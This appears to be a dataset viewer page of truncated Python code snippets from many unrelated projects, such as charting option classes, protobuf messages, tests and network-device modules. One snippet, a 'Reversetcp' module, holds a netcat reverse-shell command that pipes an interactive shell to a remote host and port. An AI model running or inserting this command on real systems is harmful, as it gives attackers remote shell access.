code stringlengths 281 23.7M |
|---|
class bsn_set_aux_cxns_reply(bsn_header):
version = 6
type = 4
experimenter = 6035143
subtype = 59
def __init__(self, xid=None, num_aux=None, status=None):
if (xid != None):
self.xid = xid
else:
self.xid = None
if (num_aux != None):
self.nu... |
class OptionChartOptions3dFrameSide(Options):
def color(self):
return self._config_get('transparent')
def color(self, text: str):
self._config(text, js_type=False)
def size(self):
return self._config_get(1)
def size(self, num: float):
self._config(num, js_type=False) |
class OptionPlotoptionsHistogramSonificationContexttracksPointgrouping(Options):
def algorithm(self):
return self._config_get('minmax')
def algorithm(self, text: str):
self._config(text, js_type=False)
def enabled(self):
return self._config_get(True)
def enabled(self, flag: bool)... |
def read_config_from_databricks_secrets(config: dict, dbutils=None) -> dict:
log.debug('Check read config from databricks secrets variables')
out_config = dict()
if (dbutils is None):
log.error('`dbutils` is not defined')
return out_config
try:
scope = config[META_CONFIG_FIELD][D... |
def _add_implementation(metric_cls, cls):
engines = cls.supported_engines()
for engine in engines:
engine_impls = _ImplRegistry.get(engine, {})
if (metric_cls in engine_impls):
raise ValueError(f'Multiple impls of metric {metric_cls}: {engine_impls[metric_cls]} already set, but tryin... |
class TestGroupOrdered(unittest.TestCase):
def test_group_ordered(self, func):
self.assertEqual(func(None), None)
print((('Success: ' + func.__name__) + ' None case.'))
self.assertEqual(func([]), [])
print((('Success: ' + func.__name__) + ' Empty case.'))
self.assertEqual(fun... |
class OptionPlotoptionsTreemapSonificationTracksActivewhen(Options):
def crossingDown(self):
return self._config_get(None)
def crossingDown(self, num: float):
self._config(num, js_type=False)
def crossingUp(self):
return self._config_get(None)
def crossingUp(self, num: float):
... |
class SignalWorkflowExecutionRequest(betterproto.Message):
namespace: str = betterproto.string_field(1)
workflow_execution: v1common.WorkflowExecution = betterproto.message_field(2)
signal_name: str = betterproto.string_field(3)
input: v1common.Payloads = betterproto.message_field(4)
identity: str =... |
def configfile_callback(ctx, param, value):
logger = logging.getLogger(__name__)
logger.debug('Click ctx = %s', ctx)
logger.debug('Click param = %s', param)
logger.debug('Click value = %s', value)
path = pathlib.Path(value)
if path.is_file():
return value
logger.warning('Config file ... |
def fortios_log_fortianalyzer_cloud(data, fos):
fos.do_member_operation('log.fortianalyzer-cloud', 'override-setting')
if data['log_fortianalyzer_cloud_override_setting']:
resp = log_fortianalyzer_cloud_override_setting(data, fos)
else:
fos._module.fail_json(msg=('missing task body: %s' % 'l... |
class TestUpgradeSharedDependencies(AEATestCaseEmpty):
IS_EMPTY = True
OLD_SOEF_ID = PublicId.from_str('fetchai/soef:0.16.0')
OLD_OEF_SEARCH_ID = PublicId.from_str('fetchai/oef_search:0.13.0')
OLD_OEF_ID = PublicId.from_str('fetchai/oef:0.16.0')
def setup_class(cls):
super().setup_class()
... |
def load_psc(fullpath, update):
try:
logger = logging.getLogger('script')
wb = load_workbook(filename=fullpath, data_only=True)
ws = wb.active
for (current_row, row) in enumerate(ws.rows):
if ((not row[0].value) or (row[0].value == 'PSC CODE') or ws.row_dimensions[row[0].... |
_view(('GET', 'POST', 'PUT', 'DELETE'))
_data(permissions=(IsAdminOrReadOnly,))
_required('VMS_VM_BACKUP_ENABLED')
def vm_define_backup(request, hostname_or_uuid, bkpdef, data=None):
vm = get_vm(request, hostname_or_uuid, exists_ok=True, noexists_fail=True)
(disk_id, real_disk_id, zfs_filesystem) = get_disk_id(... |
class Query(object):
def CurrentPlan(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None):
return grpc.experimental.unary_unary(request, target, '/cosmos.upgrade.v1beta1.Query/CurrentPlan', cosmos_do... |
class TestVTKXMLReader(unittest.TestCase):
def setUp(self):
e = NullEngine()
e.start()
e.new_scene()
self.e = e
r = VTKXMLFileReader()
r.initialize(get_example_data('cube.vti'))
e.add_source(r)
o = Outline()
e.add_module(o)
cgp1 = Conto... |
class BoundingBoxDistance(NamedTuple):
page_number_diff: int = 0
delta_x: float = 0
delta_y: float = 0
euclidean_distance: float = 0
def get_sort_key(self):
return self.euclidean_distance
def is_better_than(self, other: Optional['BoundingBoxDistance']) -> bool:
if (not other):
... |
class AddFeatures(PipelineStep[(DictEntries, DictEntries)]):
def __init__(self, features: Optional[List[str]]) -> None:
super().__init__()
self.features: Set[str] = set((features or []))
def run(self, input: DictEntries, summary: Summary) -> Tuple[(DictEntries, Summary)]:
if (len(self.fe... |
class MemoryRange():
def __init__(self, base: int, size: int, protection: str, data: Optional[bytes]=None):
self.base = base
self.size = size
self.protection = protection
self.data = data
def __str__(self) -> str:
return f'(base=0x{self.base:x}, size=0x{self.size:x}, prot... |
.parametrize(('horiz_complex', 'vert_complex'), [((('CG', 1), ('RT', 1), ('DG', 0)), (('CG', 3), ('DG', 2))), ((('CG', 2), ('RT', 2), ('DG', 1)), (('CG', 2), ('DG', 1))), ((('CG', 3), ('RT', 3), ('DG', 2)), (('CG', 1), ('DG', 0))), ((('CG', 2), ('BDM', 1), ('DG', 0)), (('CG', 1), ('DG', 0))), ((('CG', 3), ('BDM', 2), (... |
class TipsShower(QLabel):
def __init__(self, text, targetarea=(0, 0, 0, 0), parent=None, fontsize=35, timeout=1000):
super().__init__(parent)
self.parent = parent
self.area = list(targetarea)
self.timeout = timeout
self.rfont = QFont('', fontsize)
self.setFont(self.rf... |
def format_value(value):
if isinstance(value, list):
return '[{}]'.format(','.join(map(format_value, value)))
if isinstance(value, dict):
pairs = ['{}: {}'.format(enquote(k), format_value(v)) for (k, v) in value.items()]
return '{{ {items} }}'.format(items=','.join(pairs))
if isinsta... |
.parametrize('elasticapm_client', [{'exit_span_min_duration': '1ms'}], indirect=True)
def test_transaction_fast_exit_span(elasticapm_client):
elasticapm_client.begin_transaction('test_type')
with elasticapm.capture_span(span_type='x', name='x', leaf=True, duration=0.002):
pass
with elasticapm.captur... |
def test_return_named_type_with_multiple_simple_types_and_null_in_union():
'
schema = {'type': 'record', 'name': 'my_record', 'fields': [{'name': 'my_union', 'type': ['null', 'string', 'int', {'name': 'foo', 'type': 'record', 'fields': [{'name': 'some_field', 'type': 'int'}]}]}]}
records = [{'my_union': Non... |
(boundscheck=False, wraparound=False, cdivision=True, nonecheck=False)
def sigmoid_gamma(img: Auint8, stateimg: Auint8, alpha: float, beta: float):
height = img.shape[0]
width = img.shape[1]
c1 = (1 / (1 + np.exp(beta)))
c2 = ((1 / (1 + np.exp((beta - alpha)))) - c1)
lut: A1dC = np.empty(256, dtype=... |
class encoder(object):
__server_side = None
__mask = None
def __init__(self, server_side=False):
self.__server_side = server_side
def __build_frame(self, message, fin, rsv, opcode):
payload = len(message)
seq = [(((fin << 7) | (rsv << 4)) | opcode)]
if (payload < 126):
... |
def test_deferred_message_build_timestamped(mocker: Any) -> None:
mock_time = mocker.patch('labgraph.events.event_generator.time')
mock_time.time.return_value = 0.0
message = DeferredMessage(MyTimestampedMessage, 'unittest_args', kwargs_field='unittest_kwargs')
built = message.build_message()
assert... |
class MsgServicer(object):
def Grant(self, request, context):
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def Exec(self, request, context):
context.set_code(grpc.StatusCode.UNI... |
class TestNoBodyWithStatus():
()
def body_client(self, asgi):
app = create_app(asgi=asgi)
app.add_route('/error', NoBodyResource())
def no_reps(req, resp, exception):
pass
app.set_error_serializer(no_reps)
return testing.TestClient(app)
def test_data_is_se... |
class OptionPlotoptionsTreegraphSonificationContexttracksMappingVolume(Options):
def mapFunction(self):
return self._config_get(None)
def mapFunction(self, value: Any):
self._config(value, js_type=False)
def mapTo(self):
return self._config_get(None)
def mapTo(self, text: str):
... |
class Solution():
def shiftGrid(self, grid: List[List[int]], k: int) -> List[List[int]]:
ret = [[None for _ in grid[0]] for _ in grid]
for (i, row) in enumerate(grid):
for (j, elem) in enumerate(row):
(r, c) = divmod((((i * len(row)) + j) + k), len(row))
r... |
def test_list_groups() -> None:
config_loader = ConfigLoaderImpl(config_search_path=create_config_search_path('examples/jupyter_notebooks/cloud_app/conf'))
groups = config_loader.list_groups('')
assert (sorted(groups) == ['application', 'cloud_provider', 'db', 'environment', 'hydra'])
assert (sorted(con... |
class OptionPlotoptionsTimelineSonificationTracksMappingHighpass(Options):
def frequency(self) -> 'OptionPlotoptionsTimelineSonificationTracksMappingHighpassFrequency':
return self._config_sub_data('frequency', OptionPlotoptionsTimelineSonificationTracksMappingHighpassFrequency)
def resonance(self) -> '... |
class MyStore(Store):
def __getitem__(self, key):
...
def __setitem__(self, key, value):
...
def __delitem__(self, key):
...
def __iter__(self):
...
def __len__(self):
...
def apply_changelog_batch(self, *args, **kwargs):
...
def reset_state(se... |
class Reversetcp(Module):
def init(self):
self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'})
self.register_vectors([ShellCmd('sleep 1; rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|${shell} -i 2>&1|nc ${lhost} ${port} >/tmp/f', name='netcat_bsd', target=Os.NIX, background=True), ShellCmd(... |
class TcpServer():
def __init__(self, port):
self.connect = False
self.hostname = '0.0.0.0'
self.port = port
self.socket_state = False
self.socket = None
self.connect_socket()
if (not self.socket):
return
self.forward_data()
def connect... |
def extractTokkiscansWordpressCom(item):
badwords = ['Releases']
if any([(bad in item['tags']) for bad in badwords]):
return None
(vol, chp, frag, postfix) = extractVolChapterFragmentPostfix(item['title'])
if ((not (chp or vol)) or ('preview' in item['title'].lower())):
return None
t... |
def convert_freesurfer_annot(subject_id, label_name, fs_folder, dest_mesh_settings):
for (hemisphere, structure) in [('L', 'CORTEX_LEFT'), ('R', 'CORTEX_RIGHT')]:
fs_annot = os.path.join(fs_folder, 'label', '{}h.{}.annot'.format(hemisphere.lower(), label_name))
if os.path.exists(fs_annot):
... |
class TryConstructEnvelopeTestCase(TestCase):
('builtins.input', return_value='Inputed value')
def test__try_construct_envelope_positive(self, *mocks):
dialogues_mock = mock.Mock()
msg_mock = mock.Mock(spec=DefaultMessage)
msg_mock.to = 'to'
msg_mock.sender = 'sender'
dia... |
class OptionSeriesDumbbellData(Options):
def accessibility(self) -> 'OptionSeriesDumbbellDataAccessibility':
return self._config_sub_data('accessibility', OptionSeriesDumbbellDataAccessibility)
def className(self):
return self._config_get(None)
def className(self, text: str):
self._c... |
def get_key_strings(path):
try:
with open((path + '/key_file'), 'r') as key_file:
key_strings = json.loads(key_file.read())
except IOError:
logging.info('key string file not found')
return None
logging.info('key: {}'.format(repr(key_strings)))
return key_strings |
def subaward_data(db):
baker.make('references.DisasterEmergencyFundCode', code='A', public_law='PUBLIC LAW FOR CODE A', earliest_public_law_enactment_date=None)
baker.make('references.DisasterEmergencyFundCode', code='L', public_law='PUBLIC LAW FOR CODE L', earliest_public_law_enactment_date='2020-03-06')
b... |
(name='api.vm.backup.tasks.vm_backup_beat')
def vm_backup_beat(bkp_define_id):
from api.vm.backup.views import vm_backup
bkp_define = BackupDefine.objects.get(id=bkp_define_id)
vm = bkp_define.vm
disk_id = bkp_define.array_disk_id
defname = bkp_define.name
request = get_dummy_request(vm.dc, meth... |
class PythonTask(TrackedInstance, Task, Generic[T]):
def __init__(self, task_type: str, name: str, task_config: Optional[T], interface: Optional[Interface]=None, environment: Optional[Dict[(str, str)]]=None, disable_deck: Optional[bool]=None, enable_deck: Optional[bool]=None, **kwargs):
super().__init__(tas... |
def extractOrientalrabbitWordpressCom(item):
(vol, chp, frag, postfix) = extractVolChapterFragmentPostfix(item['title'])
if ((not (chp or vol)) or ('preview' in item['title'].lower())):
return None
tagmap = [('tmrw', 'How Many Tomorrows There Are', 'translated'), ('scgl', 'Side Character Survival Gu... |
def test_adding_persistence():
config = '\npersistence:\n enabled: true\n'
r = helm_template(config)
c = r['statefulset'][name]['spec']['template']['spec']['containers'][0]
assert (c['volumeMounts'][0]['mountPath'] == '/usr/share/logstash/data')
assert (c['volumeMounts'][0]['name'] == name)
v =... |
class CommandLogger(PacketLogger):
def __init__(self):
PacketLogger.__init__(self, command_rx_description(32), CommandRXPacket)
self.first = True
def generator(self):
while True:
(yield self.sink.ready.eq(1))
if ((yield self.sink.valid) and self.first):
... |
class TestProPhotoRGBProperties(util.ColorAsserts, unittest.TestCase):
def test_red(self):
c = Color('color(prophoto-rgb 0.1 0.2 0.3 / 1)')
self.assertEqual(c['red'], 0.1)
c['red'] = 0.2
self.assertEqual(c['red'], 0.2)
def test_green(self):
c = Color('color(prophoto-rgb 0... |
def graph_data(paths):
for data in extract_data(paths):
env = data['env']
seeds = data['seeds']
pfbs = [pfb_x_mean, _, _, pfb_y_mean, pfb_y_low, pfb_y_high] = [[] for _ in range(6)]
sbs = [sb_x_mean, _, _, sb_y_mean, sb_y_low, sb_y_high] = [[] for _ in range(6)]
for (i, data_... |
def set_current_title(new_title):
assert isinstance(new_title, str)
tmp = ''
mode = 'searching for changelog'
with open('CHANGELOG.md', 'r') as fd:
for raw_line in fd:
if (mode == 'searching for changelog'):
if raw_line.startswith('## Changelog'):
... |
class TreeMerger(TreeMergeTask):
def __init__(self, nodeid, seqtype, task_tree, conf, confname):
self.confname = confname
self.conf = conf
self.task_tree_file = task_tree
TreeMergeTask.__init__(self, nodeid, 'treemerger', 'TreeMerger', None, self.conf[self.confname])
self.mai... |
def check_relro(file_path, mitigations, summary, checksec_result):
if (checksec_result['relro'] == 'full'):
summary.update({'RELRO fully enabled': file_path})
mitigations.update({'RELRO': 'fully enabled'})
elif (checksec_result['relro'] == 'partial'):
summary.update({'RELRO partially ena... |
def test_reset_singletons_context_manager():
class Item():
def __init__(self, dependency):
self.dependency = dependency
class Container(containers.DeclarativeContainer):
dependent = providers.Singleton(object)
singleton = providers.Singleton(Item, dependency=dependent)
co... |
class FPN(nn.Module):
def __init__(self, bottom_up, in_features, out_channels, norm='', top_block=None, fuse_type='sum', square_pad=0):
super().__init__()
assert in_features, in_features
input_shapes = bottom_up.output_shape()
strides = [input_shapes[f].stride for f in in_features]
... |
class TaskItem(QtGui.QStandardItem):
def __init__(self, task=None, *args, **kwargs):
super(TaskItem, self).__init__(*args, **kwargs)
self._task = None
self.task = task
def task(self):
return self._task
def task(self, task):
if (task is None):
RuntimeError(... |
class SupportSmiV1Keywords(object):
def reserved():
reserved_words = ['ACCESS', 'AGENT-CAPABILITIES', 'APPLICATION', 'AUGMENTS', 'BEGIN', 'BITS', 'CONTACT-INFO', 'CREATION-REQUIRES', 'Counter', 'Counter32', 'Counter64', 'DEFINITIONS', 'DEFVAL', 'DESCRIPTION', 'DISPLAY-HINT', 'END', 'ENTERPRISE', 'EXTENDS', ... |
def test_obstructed_circular_aperture():
pupil_diameter = 1
for central_obscuration_ratio in [0.1, 0.3]:
for num_spiders in [3, 5]:
for spider_width in [0.01, 0.03]:
name = 'obstructed_circular/pupil'
name += ('_small_obscuration' if (central_obscuration_ratio... |
.parametrize('manifest,expected', (({}, {'contractTypes': WARNINGS['contract_type_missing']}), ({'contractTypes': {}}, {'contractTypes': WARNINGS['contract_type_missing']}), ({'contractTypes': {'x': {'runtimeBytecode': {'invalid': 'invalid'}}}}, {'contractTypes': {'x': {'abi': WARNINGS['abi_missing'].format('x'), 'cont... |
def test_3x3_cube(verbose=0):
xmf_base = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'hex_cube_3x3')
h5_base = xmf_base
mesh_info = readMeshXdmf(xmf_base, h5_base, verbose=0)
assert (mesh_info.nElements_global == 27)
assert (mesh_info.nNodes_global == 64)
assert (mesh_info.nElements... |
.compilertest
def test_irauth_grpcservice_version_v2():
yaml = '\n---\napiVersion: getambassador.io/v3alpha1\nkind: AuthService\nmetadata:\n name: mycoolauthservice\n namespace: default\nspec:\n auth_service: someservice\n protocol_version: "v2"\n proto: grpc\n'
econf = _get_envoy_config(yaml)
conf = ... |
def ExtractAll(zip_path, path=None, no_clobber=True, pattern=None):
if (path is None):
path = os.getcwd()
elif (not os.path.exists(path)):
MakeDirectory(path)
with zipfile.ZipFile(zip_path) as z:
for name in z.namelist():
if name.endswith('/'):
continue
... |
class TimerClass(threading.Thread):
def __init__(self, interval: int, callback: Callable[(..., Any)], *args: Any) -> None:
threading.Thread.__init__(self)
self.callback = callback
self.terminate_event = threading.Event()
self.interval = interval
self.args = args
def run(s... |
class TestLoadAll():
def test_multi_document_load(self, tmpdir):
from srsly.ruamel_yaml import YAML
fn = (Path(str(tmpdir)) / 'test.yaml')
fn.write_text(textwrap.dedent(u' ---\n - a\n ---\n - b\n ...\n '))
yaml = YAML(... |
class ConfigBlock():
__name__ = 'ConfigBlock'
def __init__(self, **kwargs):
self.tree = Tree(self.__name__, [])
self.init_kwargs(**kwargs)
def init_kwargs(self, **kwargs):
for (option, value) in kwargs.items():
func = getattr(self, option, None)
if callable(fu... |
def format_logs(formatter: Optional[logging.Formatter]=None, theme_color: Optional[str]=None) -> None:
if formatter:
console_hdlr.setFormatter(formatter)
elif isatty:
from colorlog import ColoredFormatter
(log_format, colors_dict) = get_log_colors(theme_color)
color_formatter = C... |
def register(registry):
_IndexedNotebookEditor.register(registry)
registry.register_location(target_class=CustomEditor, locator_class=Index, solver=(lambda wrapper, location: _get_next_target(wrapper._target, location.index)))
registry.register_location(target_class=SimpleEditor, locator_class=Index, solver... |
def _validate_pipeline_definition(pipeline_definition: PipelineDefinition):
click.echo('Validating pipeline...')
validation_response = asyncio.get_event_loop().run_until_complete(PipelineValidationManager.instance().validate(pipeline=pipeline_definition))
issues = validation_response.to_json().get('issues')... |
class ButtonClicked(hass.Hass):
def initialize(self):
self.listen_event_handle_list = []
self.timer_handle_list = []
self.actor_single = self.args.get('actor_single')
self.actor_double = self.args.get('actor_double')
self.actor_hold = self.args.get('actor_hold')
self.... |
class OptionSeriesScatterSonificationDefaultinstrumentoptionsMappingHighpassFrequency(Options):
def mapFunction(self):
return self._config_get(None)
def mapFunction(self, value: Any):
self._config(value, js_type=False)
def mapTo(self):
return self._config_get(None)
def mapTo(self... |
class TracerManager():
def __init__(self) -> None:
self._system_app: Optional[SystemApp] = None
self._trace_context_var: ContextVar[TracerContext] = ContextVar('trace_context', default=TracerContext())
def initialize(self, system_app: SystemApp, trace_context_var: ContextVar[TracerContext]=None)... |
class LoggingGcsResponse(ModelComposed):
allowed_values = {('placement',): {'None': None, 'NONE': 'none', 'WAF_DEBUG': 'waf_debug', 'NULL': 'null'}, ('format_version',): {'v1': '1', 'v2': '2'}, ('message_type',): {'CLASSIC': 'classic', 'LOGGLY': 'loggly', 'LOGPLEX': 'logplex', 'BLANK': 'blank'}, ('compression_codec... |
class OptionPlotoptionsDumbbellSonificationContexttracks(Options):
def activeWhen(self) -> 'OptionPlotoptionsDumbbellSonificationContexttracksActivewhen':
return self._config_sub_data('activeWhen', OptionPlotoptionsDumbbellSonificationContexttracksActivewhen)
def instrument(self):
return self._c... |
def schema_print(schema_location, prefix):
prefix = prefix.upper()
json = ovs.json.from_file(schema_location)
schema = ovs.db.schema.DbSchema.from_json(json)
print('# Do NOT edit.')
print(('# This is automatically generated by %s' % __file__))
print(('# created based on version %s' % (schema.ver... |
class Client(Iface):
def __init__(self, oprot, loop=None):
self._oprot = oprot
self._loop = (loop or asyncio.get_event_loop())
self._seqid = 0
self._futures = {}
def getName(self):
self._seqid += 1
fut = self._futures[self._seqid] = asyncio.Future(loop=self._loop)... |
def extractWwwHuntresstranslationsXyz(item):
(vol, chp, frag, postfix) = extractVolChapterFragmentPostfix(item['title'])
if ((not (chp or vol)) or ('preview' in item['title'].lower())):
return None
tagmap = [("Male Lead You're Overpowered", "Quick Transmigration: Male Lead, You're Overpowered?", 'tr... |
(accept=('application/json', 'text/json'), renderer='json', error_handler=bodhi.server.services.errors.json_handler)
(accept='application/javascript', renderer='jsonp', error_handler=bodhi.server.services.errors.jsonp_handler)
(accept='text/html', renderer='update.html', error_handler=bodhi.server.services.errors.html_... |
class DataPrinter(BaseTool):
visible = False
draw_mode = 'none'
format = Str('(%.3f, %.3f)')
def normal_mouse_move(self, event):
plot = self.component
if (plot is not None):
if isinstance(plot, BaseXYPlot):
text = self._build_text_from_event(event)
... |
class OptionPlotoptionsLollipopSonificationDefaultinstrumentoptionsMappingTremolo(Options):
def depth(self) -> 'OptionPlotoptionsLollipopSonificationDefaultinstrumentoptionsMappingTremoloDepth':
return self._config_sub_data('depth', OptionPlotoptionsLollipopSonificationDefaultinstrumentoptionsMappingTremolo... |
class IRC(Params, luigi.Task):
def output(self):
return (luigi.LocalTarget(self.get_path('irc_first.xyz')), luigi.LocalTarget(self.get_path('irc_last.xyz')))
def requires(self):
return TSOpt(self.id_, self.base, self.step)
def run(self):
(ts_xyz, ts_hess) = self.input()
geom ... |
class CoverArtEntryView(BaseView):
__hash__ = GObject.__hash__
def __init__(self, shell, source):
super(CoverArtEntryView, self).__init__(shell, source)
def display_columns(self):
self.col_map = OrderedDict([('track-number', RB.EntryViewColumn.TRACK_NUMBER), ('title', RB.EntryViewColumn.TITL... |
class _BoolConfigValue(_ConfigValue):
def __init__(self, dict_key, true_string='true', false_string='false', **kwargs) -> None:
self.true_string = true_string
self.false_string = false_string
super(_BoolConfigValue, self).__init__(dict_key, **kwargs)
def __set__(self, instance, value) ->... |
def get_start_listener_command(port: int) -> Sequence[str]:
return [get_uno_office_binary_path(), '--headless', '--invisible', '--nocrashreport', '--nodefault', '--nofirststartwizard', '--nologo', '--norestore', '--accept=socket,host=localhost,port={port};urp;StarOffice.ServiceManager'.format(port=port)] |
class ReferenceSegmenterTeiTrainingDataGenerator(AbstractTeiTrainingDataGenerator):
DEFAULT_TEI_FILENAME_SUFFIX = '.references.referenceSegmenter.tei.xml'
DEFAULT_DATA_FILENAME_SUFFIX = '.references.referenceSegmenter'
def __init__(self):
super().__init__(root_training_xml_element_path=ROOT_TRAINING... |
class HtmlQRCode(Html.Html):
name = 'QR Code'
tag = 'div'
requirements = ('qrcodejs',)
_option_cls = OptQrCode.OptionsQrCode
def __init__(self, page: primitives.PageModel, record, width: tuple, height: tuple, options: Optional[dict], profile: Optional[Union[(bool, dict)]]):
super(HtmlQRCode,... |
def test_hover_recursive():
string = write_rpc_request(1, 'initialize', {'rootPath': str(test_dir)})
file_path = ((test_dir / 'hover') / 'recursive.f90')
string += hover_req(file_path, 9, 40)
(errcode, results) = run_request(string, fortls_args=['--sort_keywords'])
assert (errcode == 0)
ref_resu... |
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName('MainWindow')
MainWindow.resize(847, 841)
self.centralwidget = QtWidgets.QWidget(MainWindow)
self.centralwidget.setObjectName('centralwidget')
self.gridLayout = QtWidgets.QGridLayout(self.cen... |
def assert_help_output_equals(actual: str, expected: str) -> bool:
prog = sys.argv[0].split('/')[(- 1)]
if (prog != 'pytest'):
expected = expected.replace('usage: pytest', f'usage: {prog}')
remove = (string.punctuation + string.whitespace)
actual_str = ''.join(actual.split())
expected_str = ... |
def invert(list1, list2):
if (len(list1) != len(list2)):
raise ValueError('Dimension of Paraview basis and Element basis unequal.')
def find_same(val, lst, tol=1e-08):
for (idx, x) in enumerate(lst):
if (np.linalg.norm((val - x)) < tol):
return idx
raise Value... |
class RetentionScannerTest(ForsetiTestCase):
def setUp(self):
def test_bucket_retention_on_multi_buckets(self):
rule_yaml = '\nrules:\n - name: multiple buckets in a single rule\n applies_to:\n - bucket\n resource:\n - type: bucket\n resource_ids:\n - fake-bucket-1\n ... |
class AndQualifier(BaseQualifier):
def __init__(self, *qualifiers: QualifierFn) -> None:
if (not qualifiers):
raise TypeError('Non-empty qualifiers required')
self._qualifiers = qualifiers
def __call__(self, connection: ConnectionAPI, logic: LogicAPI) -> bool:
return all((qua... |
class OptionSeriesFunnelSonificationTracksMapping(Options):
def frequency(self) -> 'OptionSeriesFunnelSonificationTracksMappingFrequency':
return self._config_sub_data('frequency', OptionSeriesFunnelSonificationTracksMappingFrequency)
def gapBetweenNotes(self) -> 'OptionSeriesFunnelSonificationTracksMap... |
class NavBars():
def __init__(self, ui):
self.page = ui.page
def fixed(self, logo=None, title=None, width=(100, '%'), height=(40, 'px'), options=None, profile=False):
bar = self.page.ui.navbar(logo=logo, title=title, width=width, height=height, options=options, profile=profile)
html.Html... |
def run(self):
from sphinx.util.nodes import set_source_info
from sphinx.util.i18n import search_image_for_language
warning = self.state.document.reporter.warning
env = self.state.document.settings.env
if (self.arguments and self.content):
return [warning('uml directive cannot have both cont... |
def main():
parser = argparse.ArgumentParser(description='LiteSATA bench on KCU105')
parser.add_argument('--build', action='store_true', help='Build bitstream')
parser.add_argument('--load', action='store_true', help='Load bitstream (to SRAM)')
parser.add_argument('--gen', default='3', help='SATA Gen: 1... |
def make_mapping_code(Q, cmapping, fmapping, t_in, t_out):
if (fmapping == cmapping):
return None
A = get_piola_tensor(cmapping, Q.mesh(), inverse=False)
B = get_piola_tensor(fmapping, Q.mesh(), inverse=True)
tensor = A
if B:
tensor = (ufl.dot(B, tensor) if tensor else B)
if (ten... |
class Loss(torch.nn.Module):
def __init__(self, loss_type: str='cross_entropy', beta: float=0.999, fl_gamma=2, samples_per_class=None, class_balanced=False):
super(Loss, self).__init__()
if ((class_balanced is True) and (samples_per_class is None)):
raise ValueError('samples_per_class ca... |
class RLSGRPC(ServiceType):
skip_variant: ClassVar[bool] = True
def __init__(self, protocol_version: str='v3', *args, **kwargs) -> None:
self.protocol_version = protocol_version
kwargs['service_manifests'] = integration_manifests.load('grpc_rls_backend')
super().__init__(*args, **kwargs)... |
def popen_and_call(popen_args, on_exit):
def run_in_thread(on_exit, popen_args):
import subprocess
try:
proc = subprocess.Popen(popen_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
proc.wait()
except OSError:
import tracebac... |
class TestDataModel(BasePythonMarkdownDocs):
DOC_PATH = Path(ROOT_DIR, 'docs', 'defining-data-models.md')
def _assert(self, locals_, *_mocks):
attribute = locals_['attr_title']
assert isinstance(attribute, Attribute)
data_model = locals_['book_model']
assert isinstance(data_model... |
class TestParsingOr(unittest.TestCase):
def test_or_with_commas(self):
actual = parse('a,b,c')
expected = ((trait('a') | trait('b')) | trait('c'))
self.assertEqual(actual, expected)
def test_or_with_join_nested(self):
actual = parse('a.b.c,d.e')
expected = (trait('a').tra... |
class SinkGenerator(lg.Node):
OUTPUT = lg.Topic(SinkArgumentMessage)
counter: int
def setup(self):
self.counter = 0
(OUTPUT)
async def run(self) -> lg.AsyncPublisher:
while True:
self.counter += 1
if (self.counter > 10):
raise lg.NormalTerminat... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.